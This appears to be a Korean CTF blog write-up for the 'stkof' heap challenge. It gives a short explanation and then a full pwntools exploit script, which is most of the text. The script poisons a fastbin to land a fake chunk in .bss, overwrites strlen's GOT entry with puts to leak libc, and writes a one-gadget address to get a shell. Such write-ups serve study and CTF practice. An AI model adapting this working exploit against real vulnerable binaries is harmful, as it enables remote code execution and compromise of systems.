unsafe_unlink 와 관련된 문제라고 how2heap 에 나와 있었으나
일반적인 fastbin attack 으로 문제를 풀이했다.
다른 풀이를 통해 또 삽을 떠봐야겠지.
이번 문제풀이를 통해 풀이방식이 하나 추가된 것 같은 느낌인데
더블 프리가 안되는 환경..처럼 보인다. 풀이할 때에는 적어도 확인하지 못했음.
다만 워낙 기본적인 힙오버플로우 문제이기 때문에 어렵게 접근하지는 않았고
전역변수가 있는 경우, stdin stdout 위치에 거의 항상 0x7f 가 존재하기 때문에
거진 다 뒤덮을 수 있다.
이번 문제에서는 libc leak 을 할만한 포인트가 없어 보였는데
확실히 별로 쓸모 없어 보이는 메뉴 4번이 있었고 그곳에 strlen 이 뜬금없이 있었다.
got 슥삭해서 출력류의 함수로 바꿔 libc main 을 leak 했음.
fread 로 원하는 곳에 원하는 값을 쓸 수 있었기 때문에 포인터 다 덮어쓰고 매직가젯으로 마무리 했다.
매직가젯은 한 다섯개 정도 나오던데, 이번엔 제일 마지막 가젯이 동작하는 환경이었다.
안되면 이리저리 다른 방법도 찾아 보아야 할 듯하고
pwntool 에서 oneshot gadget 모듈을 지원하면 좋겠는데 이건 차후 삽을 또 떠보도록 해야겠다.
from pwn import *
#context(arch='i386', os='linux')
context(arch='amd64', os='linux')
procname = 'stkof'
#libcname = './libc_32.so.6' # from ldd $(procname)
#libcname = '/lib/i386-linux-gnu/libc.so.6'
libcname = '/lib/x86_64-linux-gnu/libc.so.6'
ip = 'localhost'
port = 4000
# 4000 : qira / 31337 : socat
#r = remote(ip, port)
r = process('./%s'%procname)
#r = binary.process(env={'LD_PRELOAD':libc.path})
#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
#context.terminal = ['tmux', 'splitw', '-h']
#context.terminal = ['tmux', 'splitw', '-v']
context.terminal = ['/dev/pts/2']
#gdb.attach(r,
# '''
# b main
# ''')
p = log.progress('ready to ROP gadget - %s'%procname)
elf = ELF(procname)
rop = ROP(elf)
p.status('ready to ROP gadget - %s'%libcname)
libc = ELF(libcname)
rop2 = ROP(libc)
p.success('ready to ROP gadget - done')
log.info('start exploit, procname %s'%procname)
raw_input('Enter')
#### edit exploit ####
def malloc(size):
global r
assert (len(str(size)) <= 16)
r.sendline('1')
r.sendline(str(size))
heapCount = r.recvline()
log.info('malloc - heapCount : %s'%heapCount)
log.info(r.recvline())
def editheap(index, data):
r.sendline('2')
r.sendline(str(index))
r.sendline(str(len(data)))
r.sendline(data)
log.info(r.recvline())
return
def free(index):
r.sendline('3')
r.sendline(str(index))
log.info(r.recvline())
return
malloc(0x60) #0
malloc(0x60) #1
malloc(0x60) #2
malloc(0x60) #3
malloc(0x60) #4
free(4)
free(2)
#ex1 = ""
#ex1 += p64(0) #ps
#ex1 += p64(0x70) #size
#ex1 += p64(0x6020d0+5-8)#"AAAAAAAA" #fd # value related with libc_start_main
#ex1 += "BBBBBBBB" #bk
#ex1 += "C"*(0x80-len(ex1))
#ex1 += p64(0x80) #prev size
#ex1 += p64(0x70) #size
ex1 = ""
ex1 += "A"*0x60 #contents for heap#3
ex1 += p64(0) #prev size for heap#4
ex1 += p64(0x71) #currentsize for heap#4 and inUse
ex1 += p64(0x6020d0+5-8) #fd. SIZE 0x7f nearby stdin in bss
ex1 += p64(0x0) #bk
log.info('edit heap')
editheap(3, ex1) #edit chunk which already freed!
malloc(0x60) # heap5
malloc(0x60) # heap6
malloc(0x60) # heap7
ex2 = ""
ex2 += "AAA"
ex2 += p64(1)
ex2 += p64(2)
ex2 += p64(3)
ex2 += p64(4)
ex2 += p64(2) # heapcount 0x00
ex2 += p64(0) # dummy
ex2 += p64(0) # dummy
ex2 += p64(0) # dummy
ex2 += p64(0) # dummy
ex2 += p64(0) # dummy
ex2 += p64(0) # dummy
ex2 += p64(0) # dummy
ex2 += p64(0x602030) # buf 0 strlen -> puts
ex2 += p64(0x602050) # buf 1 libc_start_main
ex2 += p64(0x602018) # buf 2 free
ex2 += "/bin/sh\x00" # buf 3 /bin/sh
editheap(8, ex2) # edit last heap -> alloced in bss area
editheap(0, p64(0x400760)) # buf0 overwrite, strlen -> puts
r.sendline('4') # menu 4
r.sendline('1') # buf2 leak libc. strlen->puts
r.recvline() # dummy
r.recvline() # dummy
r.recvline() # dummy
data = r.recvline()[:-1] # leacked
data = data + "\x00"*(8-len(data))
log.info('leacked libcmain : %x'%u64(data))
libc.address = u64(data)-libc.symbols['__libc_start_main']
log.info('system : %x'%libc.symbols['system'])
#editheap(2, p64(libc.symbols['system'])) # not work
#editheap(0, p64(libc.symbols['system'])) # not work
editheap(0, p64(libc.address + 0xe93e5)) # magic gadget to strlen.got.plt
raw_input('done?')
r.sendline('4')
r.sendline('2') # trigger strlen
r.interactive()
'Conference > Write up' 카테고리의 다른 글
9447 ctf 2015 - search (how2heap) (0) | 2017.07.18 |
---|---|
defcon 2017 - occult in crackme (0) | 2017.05.02 |
defcon 2017 - witchcraft in crackme (0) | 2017.05.02 |
defcon 2017 - sorcery in crackme (0) | 2017.04.30 |
defcon 2017 - magic in crackme (0) | 2017.04.30 |